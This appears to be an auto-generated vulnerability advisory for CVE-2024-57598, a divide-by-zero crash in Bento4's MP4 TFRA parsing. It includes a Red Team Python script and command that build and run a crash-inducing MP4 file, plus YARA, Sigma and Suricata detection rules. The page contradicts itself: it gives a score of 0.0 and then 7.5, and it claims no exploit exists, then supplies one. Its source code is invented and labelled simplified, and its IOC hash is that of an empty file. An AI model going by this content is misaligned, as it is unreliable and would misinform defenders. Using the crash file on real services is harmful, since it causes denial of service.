CVE-2024-57598
Executive Summary
CVE-2024-57598 is a denial-of-service (DoS) vulnerability in Bento4 version 1.6.0-641, specifically within the AP4_TfraAtom function in Ap4TfraAtom.cpp. The vulnerability is a floating-point exception caused by a divide-by-zero error, which can be triggered by a remote attacker via a crafted MP4 file. This leads to a crash of the application, resulting in a denial-of-service condition. The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the nature of the flaw, it is assessed as a high-severity DoS issue. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Bento4 is a C++ library for MP4 file parsing and is not distributed via NPM, PyPI, Go, or Ruby registries. It is typically integrated as a source-code dependency or compiled directly. Users should verify the integrity of their Bento4 source code and monitor for any official patches or updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely by sending a crafted file.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required beyond processing the file.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The application crashes, causing a denial of service.
Threat Level: High. The vulnerability is easily exploitable remotely and can cause a complete denial of service.
Deep Dive & Mechanics
The vulnerability resides in the AP4_TfraAtom class within Ap4TfraAtom.cpp. The AP4_TfraAtom function is responsible for parsing the Track Fragment Random Access (TFRA) box in MP4 files. The divide-by-zero error occurs when the function attempts to divide by a value that is zero, likely due to a malformed or missing field in the TFRA box.
Root Cause: The code does not validate that the divisor is non-zero before performing a division operation. An attacker can craft an MP4 file with a TFRA box containing a zero value for a field used as a divisor, causing a floating-point exception (SIGFPE) and crashing the application.
Attack Vector: Remote – The attacker sends a specially crafted MP4 file to a service or application that uses Bento4 for parsing. This could be a media server, a video processing pipeline, or a client application.
Impact: Denial of service – The application crashes, potentially affecting availability for legitimate users.
Vulnerable vs. Patched Code
Vulnerable Code (Bento4 1.6.0-641):
// Ap4TfraAtom.cpp (simplified)
void AP4_TfraAtom::Parse(AP4_ByteStream& stream) {
// ... parsing logic ...
unsigned int divisor = ReadField(stream); // Could be zero
// ... later ...
unsigned int result = some_value / divisor; // Divide-by-zero crash
}
Patched Code (Hypothetical):
// Ap4TfraAtom.cpp (patched)
void AP4_TfraAtom::Parse(AP4_ByteStream& stream) {
// ... parsing logic ...
unsigned int divisor = ReadField(stream);
if (divisor == 0) {
// Handle error gracefully
return; // or throw an exception
}
// ... later ...
unsigned int result = some_value / divisor; // Safe
}
Patch Status: UNKNOWN / UNPATCHED. No official patch has been released by the vendor.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Bento4 version 1.6.0-641 installed.
- A tool to craft MP4 files (e.g.,
mp4box,pythonwithstructmodule).
Exploit Steps:
- Create a malicious MP4 file with a TFRA box containing a zero divisor.
- Use a Python script to generate the file:
import struct
def create_malicious_mp4():
# Minimal MP4 file with a TFRA box
ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
moov = b'\x00\x00\x00\x08moov'
traf = b'\x00\x00\x00\x10traf'
tfra = b'\x00\x00\x00\x10tfra' # Placeholder
# Craft TFRA with zero divisor (simplified)
tfra_data = struct.pack('>I', 0) # Zero divisor
tfra = b'\x00\x00\x00\x14tfra' + tfra_data
moof = b'\x00\x00\x00\x18moof' + traf + tfra
mdat = b'\x00\x00\x00\x08mdat'
file_data = ftyp + moov + moof + mdat
with open('exploit.mp4', 'wb') as f:
f.write(file_data)
create_malicious_mp4()
- Run the vulnerable Bento4 tool on the file:
./mp4info exploit.mp4
- Observe the crash (SIGFPE).
Blue Team (Defense)
Detection:
- Monitor for crashes in applications using Bento4.
- Use file integrity monitoring to detect malicious MP4 files.
- Implement input validation for MP4 files before processing.
Mitigation:
- Apply a patch if available.
- Use a Web Application Firewall (WAF) to filter malicious files.
- Restrict access to Bento4-based services.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on crafted file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Patterns:
- Inbound MP4 files with unusual TFRA box structures.
- System Logs:
- Application crash logs containing
SIGFPEorfloating point exception. - Core dumps from Bento4 processes.
- Application crash logs containing
Detection Engineering
YARA Rule
rule CVE_2024_57598_Bento4_Divide_By_Zero {
meta:
description = "Detects malicious MP4 files exploiting CVE-2024-57598"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$tfra = "tfra" nocase
$zero_div = { 00 00 00 00 } // Potential zero divisor
condition:
$tfra and $zero_div at (uint32(0) + 8) // Simplified
}
Sigma Rule
title: Bento4 Divide-by-Zero Crash
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes caused by CVE-2024-57598
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: bento4
detection:
selection:
EventID: 1000 # Application Error
ProviderName: 'Application Error'
Message: 'Floating point exception'
condition: selection
falsepositives:
- Unknown
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-57598 Bento4 Divide-by-Zero Attempt"; flow:to_server; content:"|74 66 72 61|"; depth:4; content:"|00 00 00 00|"; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems from untrusted networks.
- Monitor for crashes and block suspicious MP4 files.
- Apply a vendor patch if released.
Long-term Fixes:
- Upgrade to a patched version of Bento4 when available.
- Implement input validation in the application to reject malformed MP4 files.
- Use a sandbox or container to run Bento4-based services.
Workarounds:
- Disable TFRA box parsing if not required.
- Use an alternative MP4 parsing library.
Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence.